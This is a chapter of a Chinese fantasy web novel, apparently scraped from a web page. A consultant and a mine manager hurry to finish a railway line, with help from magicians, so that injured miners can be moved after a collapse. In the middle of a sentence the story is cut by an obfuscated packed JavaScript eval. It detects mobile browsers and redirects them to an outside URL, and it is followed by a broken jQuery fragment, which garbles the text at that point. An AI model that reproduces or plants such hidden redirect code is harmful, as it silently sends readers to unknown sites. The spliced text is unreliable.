远远地,伊洛里就看见了站着铁轨旁边的伯特,他正用一块手帕擦从额角淌下来的汗水,下午的太阳太毒辣,不一会儿就晒得伯特脸上发疼,汗水渗进看不见的细小伤口,他疼得忍不住龇牙咧嘴起来。
铁轨里则是忙得热火朝天的工人,他们喊着号子一下下地把起减震作用的碎石铲进轨道里,铺平整、用力压实。
与此同时,一些穿着深色长袍,头上戴着帽檐宽大得能遮住眼睛、画满魔法阵图案的尖顶帽的魔法师在挥舞着手中的法杖,沉重的枕木在重力魔法的作用下稍微浮空,然后缓慢地飘到铁轨内,“咚咚咚”地落下来,按“每24英寸放1根木头”的间隔整齐排开。
他们是宣誓为卡斯德伊效力的魔法师,原本都待在卡斯德伊领地的主城——锡铅主城中,接到狄法的命令后就立刻骑着翼飞龙赶了过来清理矿井里的碎石,然后在伯特的吩咐下来帮助修铁路。
伊洛里走过去:“经理先生,铁轨铺得怎么样了,能够在太阳下山之前完成吗?”
山上气温偏低,等入了夜,冷风刮起来,会令虚弱的伤患更加难受,再加上矿场里的医生们也已经过劳,压根照看不过来那么多伤患,如果真的拖到了晚上火车才能转送伤患,那将是一个极其危险的情况。
伯特点点头,耷拉的八字眉令他看起来无比忧愁:“我已经跟法罗城的市长先生沟通好了,他给我们五个小时,在这期间不会有任何一辆火车驶过这个路段。”
说着,他拿出口袋里的怀表看了一眼,“按现在铺设的速度,算上试运行要用的时间,如果不出意外,估计不用一个小时就能通车。”
从这里都能够看见不远处的法罗城铁轨,炙热的日光似乎也晒得那些坚硬的钢铁微微变形,就这么一路往前延伸着,直至没入地平线里。
“亨特顾问,修这短短一截铁路要花的钱足以修建出一条长达10英里的新铁路。”
伯特叹了很长一口气,许久后才再出声,“……你说,狄法阁下会怎么想这件事呢?”
他不是想要责问伊洛里,只是纯粹发泄担忧,他真的很担心狄法会对这个代价过分高昂的计划大发雷霆。
伊洛里认真思索了一会儿,沉吟道:“大概、就是不在意吧。”
虽然担任顾问一职只有短短两个半月,但伊洛里或多或少也也摸清楚了狄法做事的原则——从某种程度上讲,狄法确实看重收益,追逐利润,但他不是一具冰冷的资本机器,血管里流淌的蓝色血液只是赋予了他冷静的秉性,在冰冷的计算和钱币数字之下,仍留有柔软的情感。
伯特却是悲观得不行,“怎么会不在意呢,如果换作我听见自己亏那么多钱,肯定会气到当场把所有人都开除,并且这辈子都不会再录用他们做自己的员工。”
观念不同,伊洛里也没想要说服伯特,便笑了笑安慰道:“安心些,经理先生,现在铁路也差不多要铺完了,不可能中止,与其担忧还没到的未来,倒不如放平心态等结果。”
“如果公爵真的发火,我会跟他说是我一意孤行,你们没有一个人赞同我的想法。相信公爵再怎么不讲理,他也不至于向无辜的人迁怒。”
两人的聊天没有持续多久,一个梳着油亮板正的背头,脖颈上却很矛盾地系了一条有银灰色花纹的领巾的花俏男人走过来。
他专注地翻着手里的一本小记事本,道:“爸,4号矿井里的碎石已经清理好,井内石壁也临时用木条进行进行了加固,剩下的3号和1号矿井还在抢修。”
年轻的男人顿了顿,有几分沉重地说:“但是目前发现的、被埋在矿井里的二十一个人都失去了生命体征,大石头直接把他们的肢体都砸成一滩血肉了,当场死亡,连抢救的余地都没有。”
这惨烈的结果让气氛沉默到了冰点。
沃尔夫·麦克抬起头,才注意到站在伯特后边的伊洛里。
沃尔夫讶异地挑了挑眉,“爸,这红血人是谁?”
他打量着伊洛里,碧绿眼眸,焦糖色的卷发,比寻常蓝血人矮的身高,一个纯种的红血人。
“沃尔夫,端正你的态度。”伯特一副对自己儿子流里流气的说话方式深恶痛绝的模样,“尊敬点称呼这位年轻的先生为亨特顾问,他可是公爵大人的顾问。”
“对不起,爸爸,我下次会注意的。”沃尔夫嘴上很服从,却是趁伯特不注意满不在乎地耸了耸肩,看起来已经很习惯因为这种事挨训。
伯特侧过身,尴尬地对伊洛里解释:“亨特顾问,他是我的儿子——沃尔夫·麦克,希望他没有冒犯到您,因为小时候一直是由他爷爷照顾的,所以礼仪方面学得不太好。”
“没关系,我不会把这当成一种冒犯。”伊洛里整了整自己的衣裳,才向沃尔夫伸出手,“初次见面,沃尔夫先生,我也很高兴认识你。”
看见伊洛里友善的、同时也是标准的客套性微笑,沃尔夫有那么一瞬间挺想吹个口哨,带调侃性质的那种。嚯,又是一个正正经经的绅士,典型的老好人做派。
沃尔夫心想,如果不是老爹逼着他来这里上班,估计他这辈子都不会跟这种一板一眼的人打交道。
伊洛里:“经理先生,既然铁路这边修得差不多了,趁现在还有一点空闲,我们去看看车厢吧,不然怕要通车的时候才手忙脚乱地安置伤员,耽误时间。”
“你说得对,我都忙晕了,一时没想起来。”
伯特看向自己的儿子,“沃尔夫,你知道具体的伤员人数,也跟我们一起去车厢,评估一下大概需要几节车厢才能一口气装下那么多人。”
“好的爸爸。”沃尔夫说。
在伊洛里原本的设想中,运输矿石的火车应该是已经被淘汰下来的老旧型号,有一个笨重的机车头,高耸的烟囱,车厢也会有很多凹陷和划痕,但
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073328|149387||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
情况完全不是这样的。
格文矿场的火车比伊洛里在城市中搭乘的火车明显更新也更结实,车头采用了铸钢铸造,设计很新颖,并且少见地在车架上安装了三个汽缸,还没有启动,伊洛里都能知道它的马力很足。
车厢里的布置比伊洛里想的远要逼仄许多,为了尽可能地提高车速,车厢几乎没有留多少冗余的空间,即使把座椅全都拆掉也放不下多少个人。
伊洛里:“这里的空间似乎载不下所有的伤者?”
伯特解释说:“这两节车厢是原本用于载人的车厢,其他的车厢都是用来拉矿的货厢,我已经计划好用货厢来载人。”
“我正在让工人们用水把那些货厢清洗干净,然后铺上厚实的棉布,再在伤患之间放置一些柔软又稍微有点弹性的材料——我不好说,或许用魔法做点水屏障——间隔开他们的同时也能固定住他们的位置。”
伊洛里:“听起来没有问题,那就按这个方案说的来吧。我对魔法有一些研究,就由我去跟魔法师们商量制造什么样的材料最适合来做挡板。伯特先生,麻烦你跟沃尔夫先生安排好把伤患放置到火车上的具体工作。”
“唯一的一个问题,我想知道……这一切工作能在两个小时之内完成吗?”
伯特犹豫地说:“我会尽量加快速度,应该能够赶在日落之前处理好。”
红血人伤者的问题暂时得到解决,轨道的铺设也在如火如荼地进行,挖掘搜救工作还在继续。
伊洛里又逐一地确认每件事都在它应该在的轨道上,直到日落时分,最后一块枕木落在轨道上。他又安排工人把伤者抬进车厢里。
满载着伤者的火车发出轰鸣,在夕阳的余晖中开动。
伯特如释重负地说道:“亨特先生,我想这一趟列车将会拯救两百多个家庭。多亏了你的果断决策。”
他原本没指望伊洛里这个临时接管情况的红血人能做些什么,但是事实证明他的想法是错误的。
伊洛里:“伯特先生,我想去找公爵阁下汇报一下目前的情况,能有劳你留下来继续协调现场的情况吗?”他压根不在乎伯特对自己的评价,而是低头看了一眼手心里的戒指。
他一直忙到现在,而狄法一直没有回来。
他不想承认自己在担心。
伯特摇摇头:“恐怕现在要找公爵有点困难,我看见他跟来这里调查事故原因的彼得警司早在中午的时候就离开了矿区,一直没回来。”
伊洛里感到心中空落落,他微微颔首:“我知道了,谢谢你告诉我这个。”
等事务都处理得七七八八,时间已经到晚上,伊洛里回到魔法马车,里面漆黑一片,静悄悄没有人声。
因为情况紧急,所以狄法什么仆人都没有带,只让伊洛里跟着自己就过来了。
伊洛里累得没心力去洗漱,躺在客厅的沙发上睡了过去。